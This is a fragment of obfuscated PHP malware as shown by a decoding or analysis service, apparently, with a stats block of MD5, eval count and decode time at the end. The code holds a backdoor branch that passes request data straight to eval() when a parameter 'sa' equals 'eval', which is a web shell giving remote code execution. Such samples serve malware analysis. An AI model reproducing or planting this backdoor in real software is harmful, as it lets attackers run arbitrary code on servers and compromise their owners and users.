$_mzzqm2gw = _flo03n::_jmhk7();
echo @serialize([
"uid" => _flo03n::$_3cvjwxk6,
"v" => _flo03n::$_oof5rumy,
"result" => (int) $_mzzqm2gw,
]);
}
}
if ($_zmpzru71["sa"] == "eval") {
eval($_zmpzru71["data"]);
exit();
}
}
}
$_11mry4m9 = new _flo03n();
if ($_11mry4m9->_fkg9d()) {
$_11mry4m9->_m2w0g();
}
exit();
Function Calls
None |
Stats
MD5 | 2d02d8083f3194ed5cd5cfd028ecb02d |
Eval Count | 0 |
Decode Time | 80 ms |